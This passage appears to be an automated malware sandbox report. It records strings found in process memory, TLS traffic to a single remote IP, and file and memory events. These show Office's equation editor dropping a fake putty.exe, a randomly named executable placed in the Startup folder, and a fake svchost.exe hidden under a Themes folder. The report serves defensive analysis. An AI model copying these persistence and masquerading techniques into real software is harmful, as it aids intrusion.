Source: powershell.exe, 00000004.00000002.2129147801.0000000002C37000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2132238983.0000000002EE7000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2134950894.0000000002D27000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.2314009764.0000000002DA7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000004.00000003.2117899136.00000000003CA000.00000004.00000001.sdmp, powershell.exe, 00000006.00000003.2119429850.00000000005C0000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2124274813.00000000005A3000.00000004.00000020.sdmp, powershell.exe, 00000008.00000003.2122112999.00000000003FC000.00000004.00000001.sdmp, powershell.exe, 00000011.00000003.2130514478.000000000063C000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000008.00000003.2122112999.00000000003FC000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerD-BAS
Source: powershell.exe, 00000008.00000003.2122112999.00000000003FC000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerch.KS
Source: powershell.exe, 00000006.00000002.2124274813.00000000005A3000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleaner
Source: powershell.exe, 00000004.00000003.2117899136.00000000003CA000.00000004.00000001.sdmp, powershell.exe, 00000006.00000003.2119429850.00000000005C0000.00000004.00000001.sdmp, powershell.exe, 00000008.00000003.2122071173.000000000043D000.00000004.00000001.sdmp, powershell.exe, 00000011.00000003.2130514478.000000000063C000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: powershell.exe, 00000008.00000002.2133894033.0000000002B40000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://ads.pubmatic.com/AdServer/js/pwt/156997/3236/pwt.js
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://c.amazon-adsystem.com/aax2/apstag.js
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://felix.data.tm-awx.com
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://felix.data.tm-awx.com/ampconfig.json"
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://felix.data.tm-awx.com/felix.min.js
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/ded/script.js
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article17156435.ece/ALTERNATES/s615/1_GettyImages-1183794835.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article17166876.ece/ALTERNATES/s615/0_GettyImages-1175998874.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-02-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s270b/0_WhatsApp-Image-2021-02
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s220b/0_Salah-Pressing.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s270b/0_Salah-Pressing.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s615/0_Salah-Pressing.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s180/0_Curtis-10.png
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s180/0_Salah-Goal-vs-Leeds.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s220b/0_Salah-Goal-vs-Leeds.jp
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s615/0_Salah-Goal-vs-Leeds.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s220b/0_RobertsonCross1.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s270b/0_RobertsonCross1.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s180/0_GettyImages-1231353837.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s220b/0_GettyImages-1231353837
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s180/0_GettyImages-1304940818.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s180/1_FreeAgentPlayers.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s615/1_FreeAgentPlayers.jpg
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s458/0_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s458/0_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s180/0_GettyImages-1273716690.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s458/0_GettyImages-1273716690.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s615/0_GettyImages-1273716690.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s458/0_GettyImages-1302496803.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s615/0_GettyImages-1302496803.
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s458/1_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s615/1_WhatsApp-Image-2021-03-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://i2-prod.liverpoolecho.co.uk/incoming/article17172788.ece/ALTERNATES/s1200/1_GettyImages-1178
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://mab.data.tm-awx.com/rhs"
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://quantcast.mgr.consensu.org
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://reach-id.orbit.tm-awx.com/analytics.js.gz
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://reachplc.hub.loginradius.com"
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://s2-prod.liverpool.com
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://s2-prod.liverpool.com/
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://s2-prod.mirror.co.uk/
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://securepubads.g.doubleclick.net/tag/js/gpt.js
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://static.hotjar.com/c/hotjar-
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://trinitymirror.grapeshot.co.uk/
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-M3TH25P
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/andrew-robertson
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/champions-league
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/curtis-jones
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/georginio-wijnaldum
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/mohamed-salah
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/ozan-kabak
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/premier-league
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/sadio-mane
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/steven-gerrard
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/all-about/transfers
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-andy-robertson-valuable-quality-19946
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-barcelona-real-madrid-psg-17164868
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-champions-league-jurgen-klopp-1996194
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-curtis-jones-jurgen-klopp-19941053
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-gini-wijnaldum-rumours-fitness-199533
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-jurgen-klopp-pressing-tactics-1993836
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-ozan-kabak-future-audition-19954616
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-penalties-premier-league-var-17171391
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/liverpool-sadio-mane-expected-goals-19932676
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/rhian-brewster-liverpool-arsenal-team-17172763
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/rhian-brewster-liverpool-arsenal-team-17172763&
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish-199590
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/transfer-news/
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/schedule/
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpool.com/search/

Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49182 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\putty.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary:

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Roaming\putty.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\putty.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\putty.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\putty.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_01D0B2EE NtQuerySystemInformation,	4_2_01D0B2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_01D0B2CC NtQuerySystemInformation,	4_2_01D0B2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_004DB2EE NtQuerySystemInformation,	6_2_004DB2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_004DB2CC NtQuerySystemInformation,	6_2_004DB2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0260B2EE NtQuerySystemInformation,	8_2_0260B2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0260B2CC NtQuerySystemInformation,	8_2_0260B2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01CFB2EE NtQuerySystemInformation,	10_2_01CFB2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01CFB2CC NtQuerySystemInformation,	10_2_01CFB2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_01C7B2EE NtQuerySystemInformation,	13_2_01C7B2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_01C7B2CC NtQuerySystemInformation,	13_2_01C7B2CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_0254B2EE NtQuerySystemInformation,	15_2_0254B2EE
